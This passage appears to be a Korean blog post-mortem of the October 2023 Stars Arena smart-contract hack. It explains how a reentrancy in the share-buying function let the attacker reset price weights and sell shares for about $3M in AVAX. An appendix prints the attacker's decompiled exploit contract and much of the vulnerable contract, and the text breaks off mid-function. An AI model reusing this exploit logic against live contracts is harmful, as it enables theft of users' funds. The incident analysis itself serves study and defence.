본문 바로가기
Hack/Cryptocurrency

23년 10월 7일, Stars Arena Drained of $3M

by Becoming a Hacker 2023. 10. 9.
반응형

23년 10월 7일, Stars Arena에서 Smart Contract 취약점으로 인해 심각한 보안 이슈가 발생했다고 밝혔습니다.

Stars Arena의 tweet

 

뿐만 아니라 Stars Arena의 사이트를 대상으로 한 DDoS 공격도 발생하였습니다.

공격자들이 재단의 대응을 늦추기 위해 수행했을 가능성이 있을 것 같습니다.

Stars Arena를 통한 DDoS 공격


사고 분석

해킹 사고가 발생한 Transaction에서 볼 수 있듯이, Stars Arena: Shares(0xA4..eC)에서 공격자 EOA(0xa2...7A)로 266,103.97278 AVAX가 전송된 것을 볼 수 있습니다.

(공격자의 EOA가 아닌 다른 EOA(0x3e..bb)에도 37,694 AVAX가 전송되었으나, 해당 Address는 재단의 protocolFeeDestination임을 확인)

Hacking Transaction
Internal Txns

 

공격자 Smart Contract(0xdd..ea)의 Byte Code를 Decompile한 결과, 총 3개의 Call Instruction이 있는 것을 확인하였습니다.

※ 자세한 코드는 아래 부록 참고

1. stor_0_0_19.call(100, 0xe9ccf3a3, this, 1).value(0xde0b6b3a7640000).gas(msg.gas);
2. stor_0_0_19.call(68, 0xb51d053400000000000000000000000000000000000000000000000000000000 | uint224(this), this, 0xb51d053400000000000000000000000000000000000000000000000000000000 | uint224(this)).gas(msg.gas);
3. 0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a.call().value(this.balance).gas(msg.gas);

 

흐름 순으로 천천히 확인해보면,

먼저 stor_0_0_19으로 1 AVAX(0xde0b6b3a7640000)만큼을 전송하고 있습니다. 실제 Internal Txns을 보면 공격자의 Smart Contract (0xdd..ea)에서 Stars Arena Contract(0xa4..ec)로 1 AVAX를 전송하고 있습니다.

즉, stor_0_0_19는 Stars Arena Contract(0xa4..ec)입니다.

 

Stars Arena Contract는 사고가 발생한 10월 7일 이후에 upgrade를 통하여 implementation address를 변경하였습니다. 소잃고 외양간 고치기

upradge Transaction

 

사고가 발생한 시점의 implementation address는 0x8af92c23a169b58c2e5ac656d8d8a23fc725080f 이었는데요.

(변경 이전의 implementation address도 취약했던 것으로 확인)

※ 자세한 코드는 아래 부록 참고

 

공격자의 Smart Contract (0xdd..ea)에서 호출한 함수 0xe9ccf3a을 해당 Contract에서 발견할 수 있었습니다.

stor_0_0_19.call(100, 0xe9ccf3a3, this, 1).value(0xde0b6b3a7640000).gas(msg.gas);
function 0xe9ccf3a3(address varg0, uint256 varg1, address varg2) public payable { 
    require(msg.data.length - 4 >= 96);
    require(varg0 == varg0);
    require(varg2 == varg2);
    if (varg2) {
        0x326c(varg2, msg.sender);
    }
    0x2058(varg1, varg0);
}

 

이후 0xe9ccf3a 함수에서 0x2058 함수를 호출하는 데, 해당 함수에서 0xc9d4f93ded9b42fa24561e02b2a40f720f71601eb1b3f7b3fd4eff20877639ee Event를 등록하고 있었는데요.

function 0x2058(uint256 varg0, uint256 varg1) private { 
    v0 = 0x1a9b(varg0, _sharesSupply[address(varg1)], varg1);
    v1 = _SafeMul(v0, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v2 = _SafeMul(v0, _subjectFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeMul(v0, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeAdd(v0, v1 / 0xde0b6b3a7640000);
    v5 = _SafeAdd(v4, v2 / 0xde0b6b3a7640000);
    v6 = _SafeAdd(v5, v3 / 0xde0b6b3a7640000);
    require(msg.value >= v6, Error('Insufficient payment'));
    v7 = _SafeAdd(_getMyShares[address(varg1)][msg.sender], varg0);
    _getMyShares[address(varg1)][msg.sender] = v7;
    v8 = _SafeAdd(_sharesSupply[address(varg1)], varg0);
    _sharesSupply[address(varg1)] = v8;
    v9 = 0x1a9b(1, _sharesSupply[address(varg1)], varg1);
    v10 = _SafeAdd(_sharesSupply[address(varg1)], varg0);
    0x307c(v1 / 0xde0b6b3a7640000);
    0x30ef(v2 / 0xde0b6b3a7640000, varg1);
    v11 = _SafeAdd(v0, v1 / 0xde0b6b3a7640000);
    v12 = _SafeAdd(v11, v2 / 0xde0b6b3a7640000);
    v13 = _SafeAdd(v12, v3 / 0xde0b6b3a7640000);
    v14 = _SafeSub(msg.value, v13);
    if (v14) {
        0x30ef(v14, msg.sender);
    }
    if (v3 / 0xde0b6b3a7640000) {
        0x2f7b(v3 / 0xde0b6b3a7640000, msg.sender);
    }
    if (varg0 == _getMyShares[address(varg1)][msg.sender]) {
        v15 = address(varg1);
        owner_a7[v15].field0.length = owner_a7[v15].field0.length + 1;
        owner_a7[v15].field0[owner_a7[v15].field0.length].field0 = msg.sender | bytes12(owner_a7[v15].field0[owner_a7[v15].field0.length].field0);
    }
    emit 0xc9d4f93ded9b42fa24561e02b2a40f720f71601eb1b3f7b3fd4eff20877639ee(msg.sender, address(varg1), bool(1), varg0, v0, v1 / 0xde0b6b3a7640000, v2 / 0xde0b6b3a7640000, v3 / 0xde0b6b3a7640000, v10, v9, _getMyShares[address(varg1)][msg.sender]);
    return ;
}

 

해당 Event는 공격 Transaction에서 실제 2번이나 찍혀있었습니다.

 

위 중 첫 번째 Event 로그와 코드 분석을 통하여 아래와 같은 흐름으로 작동하는 것을 확인하였습니다.

※ 자세한 코드는 아래 부록 참고

  • Stars Arena의 0x1a9b()
    • 0x1a9b는 v0으로 설정되며, 해당 값은 0x1550f7dca70000인 것으로 확인
  • v1, v2, v3에 각각 _protocolFeePercent, _subjectFeePercent, _referralFeePercent 값을 설정
    • v2 = 0x6d23ad5f8000
    • v3 = 0x17dfcdece4000
    • v4 = 0x3691d6afc000
    • v6 = v0 + v1 + v2 + v3
  • Stars Arena의 0x307c() -> _protocolFeeDestination.call() 

취약점이 발생하는 구간

  • Stars Arena의 0x30ef() -> 공격자의 Smart Contract.call() -> 공격자의 Smart Contract.()
    • 공격자의 Smart Contract로 0.00042 AVAX 전송
function () public payable { 
    MEM[MEM[64] + 132] = 0x153005ce00;
    if (!(0 - _fallback)) {
        v0 = v1 = 0;
        while (v0 < 132) {
            MEM[v0 + MEM[64]] = MEM[32 + (MEM[64] + v0)];
            v0 += 32;
        }
        MEM[MEM[64] + 132] = 0;
        v2, /* uint256 */ v3 = stor_0_0_19.call(132, 0x5632b2e400000000000000000000000000000000000000000000000000000000 | uint224(0x153005ce00), 0x153005ce00, 0x5632b2e400000000000000000000000000000000000000000000000000000000 | uint224(0x153005ce00), 0x153005ce00, 0x153005ce00).gas(msg.gas);
        if (RETURNDATASIZE() != 0) {
            v4 = new bytes[](RETURNDATASIZE());
            v3 = v4.data;
            RETURNDATACOPY(v3, 0, RETURNDATASIZE());
        }
        require(1 <= _fallback + 1, Panic(17)); // arithmetic overflow or underflow
        _fallback = _fallback + 1;
    }
}
  • function () public payable -> Stars Arena의 0x5632b2e4()
    • 해당 함수가 실행될 수 있는 지 검증
      • owner_a1[msg.sender]가 설정되어 있는 지 
      • owner_a7[msg.sender].field0.length가 설정되어 있는 지 
    • owner_9d, owner_9f, owner_a0을 0x153005ce00으로 설정
    • owner_9e를 해당 함수의 Signature로 설정
function 0x5632b2e4(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public nonPayable { 
    require(msg.data.length - 4 >= 128);
    require(!uint8(owner_a1[msg.sender]), Error('Weights already initialized'));
    require(!owner_a7[msg.sender].field0.length, Error("Can't change weights after shares have been issued"));
    require(varg0 > 0, Error('Weight A must be greater than 0'));
    require(varg1 > 0, Error('Weight A must be greater than 0'));
    require(varg2 > 0, Error('Weight C must be greater than 0'));
    owner_9d[msg.sender] = varg0;
    owner_9e[msg.sender] = varg1;
    owner_9f[msg.sender] = varg2;
    owner_a0[msg.sender] = varg3;
    owner_a1[msg.sender] = 0x1 | bytes31(owner_a1[msg.sender]);
}
  • Stars Arena의 0x30ef() -> 공격자의 Smart Contract.call()
    • 공격자의 Smart Contract로 0.9934 AVAX 전송
  • Stars Arena의 0x2f7b() -> _protocolFeeDestination.call()
    • protoclFeeDestination으로 6e-05 AVAX 전송
  • owner_a7[공격자의 Smart Contract].field0.length = owner_a7[공격자의 Smart Contract].field0.length+1
    • owner_a7[varg0].field0.length 값이 설정되면, 0x5632b2e4()를 호출할 수 없음
    • 재단이 의도한 정상적인 로직으로는 0x2058()가 호출되면 owner_a7[varg0].field0.length 값이 설정되는 것이었음
    • 공격자는 Reentrancy Attack을 통하여 0x2058()에서 해당 값이 설정되기 전에 0x5632b2e4()를 호출하여 Weight을 변경하였음! (취약점이 발생한 원인)

 

이후 공격자의 Smart Contract (0xdd..ea)에서 Stars Arena Contract(0xa4..ec)를 다시 한 번 호출하는데요.

stor_0_0_19.call(68, 0xb51d053400000000000000000000000000000000000000000000000000000000 | uint224(this), this, 0xb51d053400000000000000000000000000000000000000000000000000000000 | uint224(this)).gas(msg.gas);

 

0xc9d4f93ded9b42fa24561e02b2a40f720f71601eb1b3f7b3fd4eff20877639ee를 호출하는 또 다른 두 개의 함수 중 sellShares 함수의 Function Signature 값이 0xb51d05348bcfdc786ca42bee94fe8c414b6dcd226d00803933da1daf1016a227이었습니다.

즉, 해당 함수를 호출하고 있었습니다.

function sellShares(address varg0, uint256 varg1) public payable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    v0 = _SafeSub(_sharesSupply[varg0], varg1);
    v1 = 0x1a9b(varg1, v0, varg0);
    v2 = _SafeMul(v1, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeMul(v1, _subjectFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeMul(v1, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    require(varg1 <= _getMyShares[varg0][msg.sender], Error('Insufficient shares'));
    require(varg1 > 0, Error('Amount must be greater than 0'));
    v5 = _SafeSub(_getMyShares[varg0][msg.sender], varg1);
    _getMyShares[varg0][msg.sender] = v5;
    v6 = _SafeSub(_sharesSupply[varg0], varg1);
    _sharesSupply[varg0] = v6;
    v7 = 0x1a9b(1, _sharesSupply[varg0], varg0);
    v8 = _SafeSub(_sharesSupply[varg0], varg1);
    v9 = _SafeSub(v1, v2 / 0xde0b6b3a7640000);
    v10 = _SafeSub(v9, v3 / 0xde0b6b3a7640000);
    v11 = _SafeSub(v10, v4 / 0xde0b6b3a7640000);
    0x30ef(v11, msg.sender);
    0x307c(v2 / 0xde0b6b3a7640000);
    0x30ef(v3 / 0xde0b6b3a7640000, varg0);
    if (v4 / 0xde0b6b3a7640000) {
        0x2f7b(v4 / 0xde0b6b3a7640000, msg.sender);
    }
    if (!_getMyShares[varg0][msg.sender]) {
        0x330f(msg.sender, varg0);
    }
    emit 0xc9d4f93ded9b42fa24561e02b2a40f720f71601eb1b3f7b3fd4eff20877639ee(msg.sender, varg0, bool(0), varg1, v1, v2 / 0xde0b6b3a7640000, v3 / 0xde0b6b3a7640000, v4 / 0xde0b6b3a7640000, v8, v7, _getMyShares[varg0][msg.sender]);
}

 

위 2번째 Event 로그와 sellShares 코드 분석을 통하여 아래와 같은 흐름으로 작동하는 것을 확인하였습니다.

※ 자세한 코드는 아래 부록 참고

  • Stars Arena의 0x1a9b() -> Stars Arena의 0x2329() -> return Stars Arena의 owner_9f
    • 0x2058 함수 작동 과정에서 Reentrancy Attack으로 설정된 owner_9f(0x153005ce00)를 기준으로 가격 설정
    • 0x1a9b는 v1으로 설정되며, 해당 값은 0x3a179eb7f5a46b840000인 것으로 확인
  • v2, v3, v4에 각각 _protocolFeePercent, _subjectFeePercent, _referralFeePercent 값을 설정
    • v2 = 0x1296eb1c25a54120000
    • v3 = 0x411036e283c263f0000
    • v4 = 0x94b758e12d2a090000
  • Stars Arena의 0x30ef() -> 공격자의 Smart Contract.call()
    • 공격자의 Contract로 246,899.6712 AVAX 전송
  • Stars Arena의 0x307c() -> _protocolFeeDestination.call()
    • protocolFeeDestination로 5,486.65936 AVVAX 전송
  • Stars Arena의 0x30ef() -> 공격자의 Smart Contract.call()
    • 공격자의 Smart Contract로 19,203.30776 AVAX 전송

 

마지막으로 공격자의 Smart Contract에서 탈취한 모든 자산을 공격자의 EOA로 전송하였습니다.

0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a.call().value(this.balance).gas(msg.gas);
  • 공격자의 Smart Contract로 266,103.97278 AVAX 전송

 

즉, 공격자의 Smart Contract는 아래와 같은 흐름으로 작동하고 있었습니다.

  • Stars Arena의 0xe9ccf3a3() 호출
    • -> Reentrancy Attack을 통한 Weight 변경
      • 공격자의 Smart Contract.() 호출 -> Stars Arena의 0x5632b2e4() 호출
  • Stars Arena의 sellShares() 호출
    • 이때 Reentrancy Attack으로 설정된 Weight을 기준으로 비정상적인 가격이 할당되어 엄청난 이득을 볼 수 있음
  • 공격자의 EOA로 탈취 자산 전송

 

Exploit 난이도는 너무나도 쉬웠지만, 공격자들이 획득한 금액은 $3M로 어마어마했습니다...! 

 

최근 들어 블록체인 생태계에서 정말 많은 사고들이 발생하고 있는 것 같습니다. 사실 공격자에게 블록체인 생태계만 만큼 좋은 먹잇감이 있을 까 싶기도 하고요...! 이러한 일들이 블록체인 생태계에 악영향을 줄 수 있을 것 같아 많이 안타깝습니다.

 

부록

더보기

공격자의 Smart Contract 코드 (0xdd9afc0e3c43951659c8ebe7aef9ee40879863ea)

// Decompiled by library.dedaub.com
// 2023.10.07 06:20 UTC
// Compiled using the solidity compiler version 0.8.20


// Data structures and variables inferred from the use of storage instructions
uint256 _fallback; // STORAGE[0x1]
uint256 stor_0_0_19; // STORAGE[0x0] bytes 0 to 19



function () public payable { 
    MEM[MEM[64] + 132] = 0x153005ce00;
    if (!(0 - _fallback)) {
        v0 = v1 = 0;
        while (v0 < 132) {
            MEM[v0 + MEM[64]] = MEM[32 + (MEM[64] + v0)];
            v0 += 32;
        }
        MEM[MEM[64] + 132] = 0;
        v2, /* uint256 */ v3 = stor_0_0_19.call(132, 0x5632b2e400000000000000000000000000000000000000000000000000000000 | uint224(0x153005ce00), 0x153005ce00, 0x5632b2e400000000000000000000000000000000000000000000000000000000 | uint224(0x153005ce00), 0x153005ce00, 0x153005ce00).gas(msg.gas);
        if (RETURNDATASIZE() != 0) {
            v4 = new bytes[](RETURNDATASIZE());
            v3 = v4.data;
            RETURNDATACOPY(v3, 0, RETURNDATASIZE());
        }
        require(1 <= _fallback + 1, Panic(17)); // arithmetic overflow or underflow
        _fallback = _fallback + 1;
    }
}

function 0x12345678(bytes varg0) public payable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < msg.data.length);
    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](varg0.length);
    require(!((v0 + (63 + (~0x1f & varg0.length + 31) & ~0x1f) < v0) | (v0 + (63 + (~0x1f & varg0.length + 31) & ~0x1f) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
    require(4 + varg0 + varg0.length + 32 <= msg.data.length);
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    MEM[MEM[64] + 100] = this;
    v1 = v2 = 0;
    while (v1 < 100) {
        MEM[v1 + MEM[64]] = MEM[32 + (MEM[64] + v1)];
        v1 += 32;
    }
    MEM[MEM[64] + 100] = 0;
    v3, /* uint256 */ v4 = stor_0_0_19.call(100, 0xe9ccf3a3, this, 1).value(0xde0b6b3a7640000).gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v5 = new bytes[](RETURNDATASIZE());
        v4 = v5.data;
        RETURNDATACOPY(v4, 0, RETURNDATASIZE());
    }
    MEM[MEM[64] + 68] = 1;
    v6 = v7 = 0;
    while (v6 < 68) {
        MEM[v6 + MEM[64]] = MEM[32 + (MEM[64] + v6)];
        v6 += 32;
    }
    MEM[MEM[64] + 68] = 0;
    v8, /* uint256 */ v9 = stor_0_0_19.call(68, 0xb51d053400000000000000000000000000000000000000000000000000000000 | uint224(this), this, 0xb51d053400000000000000000000000000000000000000000000000000000000 | uint224(this)).gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v10 = new bytes[](RETURNDATASIZE());
        v9 = v10.data;
        RETURNDATACOPY(v9, 0, RETURNDATASIZE());
    }
    v11, /* uint256 */ v12 = 0xa2ebf3fcd757e9be1e58b643b6b5077d11b4ad7a.call().value(this.balance).gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v13 = new bytes[](RETURNDATASIZE());
        v12 = v13.data;
        RETURNDATACOPY(v12, 0, RETURNDATASIZE());
    }
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable { 
    MEM[64] = 128;
    if (msg.data.length >= 4) {
        if (0x12345678 == function_selector >> 224) {
            0x12345678();
        }
    }
    ();
}

 

취약점이 존재하는 Stars Arena Contract (0x8af92c23a169b58c2e5ac656d8d8a23fc725080f)

// Decompiled by library.dedaub.com
// 2023.10.05 12:46 UTC
// Compiled using the solidity compiler version 0.8.7


// Data structures and variables inferred from the use of storage instructions
uint256 stor_0_0_0; // STORAGE[0x0] bytes 0 to 0
uint256 _initialize; // STORAGE[0x0] bytes 1 to 1
uint256 stor_65; // STORAGE[0x65]
uint256 _subscriptionDuration; // STORAGE[0x97]
uint256 _protocolFeePercent; // STORAGE[0x99]
uint256 _subjectFeePercent; // STORAGE[0x9a]
uint256 _referralFeePercent; // STORAGE[0x9b]
uint256 _initialPrice; // STORAGE[0x9c]
mapping (uint256 => uint256) owner_9d; // STORAGE[0x9d]
mapping (uint256 => uint256) owner_9e; // STORAGE[0x9e]
mapping (uint256 => uint256) owner_9f; // STORAGE[0x9f]
mapping (uint256 => uint256) owner_a0; // STORAGE[0xa0]
mapping (uint256 => uint256) owner_a1; // STORAGE[0xa1]
mapping (uint256 => uint256) owner_a2; // STORAGE[0xa2]
mapping (uint256 => uint256) map_a3; // STORAGE[0xa3]
mapping (uint256 => uint256) _subscribe; // STORAGE[0xa4]
mapping (uint256 => uint256) _setSubscriptionPrice; // STORAGE[0xa5]
mapping (uint256 => mapping (uint256 => uint256)) owner_a6; // STORAGE[0xa6]
mapping (uint256 => struct_1744) owner_a7; // STORAGE[0xa7]
mapping (uint256 => mapping (uint256 => uint256)) _getMyShares; // STORAGE[0xa8]
mapping (uint256 => uint256) _sharesSupply; // STORAGE[0xa9]
mapping (uint256 => uint256) _withdrawERC20; // STORAGE[0xaa]
mapping (uint256 => uint256) _allowedTokens; // STORAGE[0xab]
mapping (uint256 => uint256) _pendingWithdrawals; // STORAGE[0xac]
mapping (uint256 => mapping (uint256 => uint256)) owner_ad; // STORAGE[0xad]
uint256 _owner; // STORAGE[0x33] bytes 0 to 19
uint256 _protocolFeeDestination; // STORAGE[0x98] bytes 0 to 19


// Events
Initialized(uint8);
Distributed(address, uint256);
OwnershipTransferred(address, address);
ReferralSet(address, address);

function 0x1840(address varg0) private { 
    if (!uint8(owner_a1[address(varg0)])) {
        return 0x6f05b59d3b20000;
    } else {
        return owner_9e[varg0];
    }
}

function 0x1a9b(uint256 varg0, uint256 varg1, uint256 varg2) private { 
    v0 = 0x2329(varg2);
    v1 = _SafeAdd(varg1, v0);
    if (v1) {
        v2 = _SafeSub(v1, 1);
        v3 = _SafeMul(2, v2);
        v4 = _SafeAdd(1, v3);
        v5 = _SafeSub(v1, 1);
        v6 = _SafeMul(v5, v1);
        v7 = _SafeMul(v6, v4);
        require(6, Panic(18)); // division by zero
        v8 = _SafeSub(v1, 1);
        v9 = _SafeAdd(v8, varg0);
        v10 = _SafeMul(2, v9);
        v11 = _SafeAdd(1, v10);
        v12 = _SafeAdd(v1, varg0);
        v13 = _SafeSub(v1, 1);
        v14 = _SafeAdd(v13, varg0);
        v15 = _SafeMul(v14, v12);
        v16 = _SafeMul(v15, v11);
        require(6, Panic(18)); // division by zero
        v17 = 0xfd5(varg2);
        v18 = _SafeSub(v16 / 6, v7 / 6);
        v19 = 0xeeb(varg2);
        v20 = _SafeMul(v19, v18);
        require(0xde0b6b3a7640000, Panic(18)); // division by zero
        v21 = _SafeAdd(v20 / 0xde0b6b3a7640000, v17);
        v22 = 0x1840(varg2);
        v23 = _SafeMul(v22, v21);
        v24 = _SafeMul(v23, _initialPrice);
        require(0xde0b6b3a7640000, Panic(18)); // division by zero
        if (v24 / 0xde0b6b3a7640000 >= _initialPrice) {
            return v24 / 0xde0b6b3a7640000;
        } else {
            return _initialPrice;
        }
    } else {
        return _initialPrice;
    }
}

function 0x2058(uint256 varg0, uint256 varg1) private { 
    v0 = 0x1a9b(varg0, _sharesSupply[address(varg1)], varg1);
    v1 = _SafeMul(v0, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v2 = _SafeMul(v0, _subjectFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeMul(v0, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeAdd(v0, v1 / 0xde0b6b3a7640000);
    v5 = _SafeAdd(v4, v2 / 0xde0b6b3a7640000);
    v6 = _SafeAdd(v5, v3 / 0xde0b6b3a7640000);
    require(msg.value >= v6, Error('Insufficient payment'));
    v7 = _SafeAdd(_getMyShares[address(varg1)][msg.sender], varg0);
    _getMyShares[address(varg1)][msg.sender] = v7;
    v8 = _SafeAdd(_sharesSupply[address(varg1)], varg0);
    _sharesSupply[address(varg1)] = v8;
    v9 = 0x1a9b(1, _sharesSupply[address(varg1)], varg1);
    v10 = _SafeAdd(_sharesSupply[address(varg1)], varg0);
    0x307c(v1 / 0xde0b6b3a7640000);
    0x30ef(v2 / 0xde0b6b3a7640000, varg1);
    v11 = _SafeAdd(v0, v1 / 0xde0b6b3a7640000);
    v12 = _SafeAdd(v11, v2 / 0xde0b6b3a7640000);
    v13 = _SafeAdd(v12, v3 / 0xde0b6b3a7640000);
    v14 = _SafeSub(msg.value, v13);
    if (v14) {
        0x30ef(v14, msg.sender);
    }
    if (v3 / 0xde0b6b3a7640000) {
        0x2f7b(v3 / 0xde0b6b3a7640000, msg.sender);
    }
    if (varg0 == _getMyShares[address(varg1)][msg.sender]) {
        v15 = address(varg1);
        owner_a7[v15].field0.length = owner_a7[v15].field0.length + 1;
        owner_a7[v15].field0[owner_a7[v15].field0.length].field0 = msg.sender | bytes12(owner_a7[v15].field0[owner_a7[v15].field0.length].field0);
    }
    emit 0xc9d4f93ded9b42fa24561e02b2a40f720f71601eb1b3f7b3fd4eff20877639ee(msg.sender, address(varg1), bool(1), varg0, v0, v1 / 0xde0b6b3a7640000, v2 / 0xde0b6b3a7640000, v3 / 0xde0b6b3a7640000, v10, v9, _getMyShares[address(varg1)][msg.sender]);
    return ;
}

function 0x2329(address varg0) private { 
    if (!uint8(owner_a1[address(varg0)])) {
        return 2;
    } else {
        return owner_9f[varg0];
    }
}

function 0x24f4(uint256 varg0, address varg1, address varg2) private { 
    require(uint8(_allowedTokens[address(varg1)]), Error('Token not allowed'));
    require(bool((address(varg1)).code.size));
    v0, /* uint256 */ v1 = varg1.balanceOf(msg.sender).gas(msg.gas);
    require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v1 >= varg0, Error('Insufficient token balance'));
    require(bool((address(varg1)).code.size));
    v2, /* bool */ v3 = varg1.transferFrom(msg.sender, address(this), varg0).gas(msg.gas);
    require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v3 == bool(v3));
    v4 = v5 = 0;
    while (v4 < owner_a7[varg2].field0.length) {
        require(v4 < owner_a7[varg2].field0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        v6 = address(owner_a7[address(varg2)].field0[v4].field0);
        v7 = _SafeMul(varg0, _getMyShares[varg2][v6]);
        require(_sharesSupply[varg2], Panic(18)); // division by zero
        v8 = _SafeAdd(owner_ad[address(v6)][varg1], v7 / _sharesSupply[varg2]);
        owner_ad[address(v6)][varg1] = v8;
        v4 = 0x3af4(v4);
    }
    return ;
}

function 0x2774(uint256 varg0, uint256 varg1) private { 
    if (varg0 <= _sharesSupply[address(varg1)]) {
        v0 = _SafeSub(_sharesSupply[address(varg1)], varg0);
        v1 = 0x1a9b(varg0, v0, varg1);
        return v1;
    } else {
        return 0;
    }
}

function 0x2b17(uint256 varg0, address varg1) private { 
    require(varg0 > 0, Error('No funds to distribute'));
    require(_sharesSupply[varg1], Error('No shares to distribute'));
    require(msg.value >= varg0, Error('Insufficient payment'));
    0x30ef(varg0, this);
    v0 = v1 = 0;
    while (v0 < owner_a7[varg1].field0.length) {
        require(v0 < owner_a7[varg1].field0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        v2 = address(owner_a7[address(varg1)].field0[v0].field0);
        v3 = _SafeMul(varg0, _getMyShares[varg1][v2]);
        require(_sharesSupply[varg1], Panic(18)); // division by zero
        v4 = _SafeAdd(_pendingWithdrawals[address(v2)], v3 / _sharesSupply[varg1]);
        _pendingWithdrawals[address(v2)] = v4;
        v0 = 0x3af4(v0);
    }
    emit Distributed(varg1, varg0);
    return ;
}

function 0x2f7b(uint256 varg0, address varg1) private { 
    v0 = v1 = bool(address(owner_a2[address(varg1)]));
    if (address(owner_a2[address(varg1)])) {
        v0 = v2 = address(owner_a2[address(varg1)]) != varg1;
    }
    if (!v0) {
        v3 = v4, /* uint256 */ v5 = _protocolFeeDestination.call().value(varg0).gas(msg.gas);
        if (RETURNDATASIZE() != 0) {
            v6 = new bytes[](RETURNDATASIZE());
            v5 = v6.data;
            RETURNDATACOPY(v5, 0, RETURNDATASIZE());
            // Unknown jump to Block 0x300e. Refer to 3-address code (TAC);
        }
    } else {
        v3 = v7, /* uint256 */ v8 = address(owner_a2[address(varg1)]).call().value(varg0).gas(msg.gas);
        if (RETURNDATASIZE() != 0) {
            v9 = new bytes[](RETURNDATASIZE());
            v8 = v9.data;
            RETURNDATACOPY(v8, 0, RETURNDATASIZE());
        }
    }
    require(v3, Error('Unable to send funds'));
    return ;
}

function 0x307c(uint256 varg0) private { 
    v0, /* uint256 */ v1 = _protocolFeeDestination.call().value(varg0).gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v2 = new bytes[](RETURNDATASIZE());
        v1 = v2.data;
        RETURNDATACOPY(v1, 0, RETURNDATASIZE());
    }
    require(v0, Error('Unable to send funds'));
    return ;
}

function 0x30ef(uint256 varg0, address varg1) private { 
    v0, /* uint256 */ v1 = varg1.call().value(varg0).gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v2 = new bytes[](RETURNDATASIZE());
        v1 = v2.data;
        RETURNDATACOPY(v1, 0, RETURNDATASIZE());
    }
    require(v0, Error('Unable to send funds'));
    return ;
}

function 0x3162() private { 
    require(msg.sender == _owner, Error('Ownable: caller is not the owner'));
    return ;
}

function 0x326c(address varg0, address varg1) private { 
    v0 = v1 = !address(owner_a2[address(varg1)]);
    if (!bool(address(owner_a2[address(varg1)]))) {
        v0 = v2 = varg1 != varg0;
    }
    if (!v0) {
        return ;
    } else {
        v3 = varg1;
        owner_a2[v3] = varg0 | bytes12(owner_a2[v3]);
        emit ReferralSet(v3, varg0);
        return ;
    }
}

function 0x330f(address varg0, address varg1) private { 
    v0 = v1 = 0;
    while (v0 < owner_a7[varg1].field0.length) {
        require(v0 < owner_a7[varg1].field0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
        if (address(owner_a7[address(varg1)].field0[v0].field0) != varg0) {
            v0 = 0x3af4(v0);
        } else {
            v2 = _SafeSub(owner_a7[varg1].field0.length, 1);
            require(v2 < owner_a7[varg1].field0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
            require(v0 < owner_a7[varg1].field0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
            owner_a7[varg1].field0[v0].field0 = address(owner_a7[address(varg1)].field0[v2].field0) | bytes12(owner_a7[address(varg1)].field0[v0].field0);
            v3 = varg1;
            require(owner_a7[v3].field0.length, Panic(49)); // attemp to .pop an empty array
            owner_a7[v3].field0[owner_a7[v3].field0.length].field2147483647 = bytes12(owner_a7[v3].field0[owner_a7[v3].field0.length].field2147483647);
            owner_a7[v3].field0.length += ~0;
            return ;
        }
    }
    return ;
}

function _SafeAdd(uint256 varg0, uint256 varg1) private { 
    require(varg0 <= ~varg1, Panic(17)); // arithmetic overflow or underflow
    return varg0 + varg1;
}

function _SafeMul(uint256 varg0, uint256 varg1) private { 
    require(!(bool(varg0) & (varg1 > ~0 / varg0)), Panic(17)); // arithmetic overflow or underflow
    return varg0 * varg1;
}

function _SafeSub(uint256 varg0, uint256 varg1) private { 
    require(varg0 >= varg1, Panic(17)); // arithmetic overflow or underflow
    return varg0 - varg1;
}

function 0x3af4(uint256 varg0) private { 
    require(varg0 != ~0, Panic(17)); // arithmetic overflow or underflow
    return 1 + varg0;
}

function sharesBalance(address varg0, address varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    require(varg1 == varg1);
    return _getMyShares[varg0][varg1];
}

function 0x0c3b9300(bytes varg0, address varg1) public payable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < msg.data.length);
    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](varg0.length);
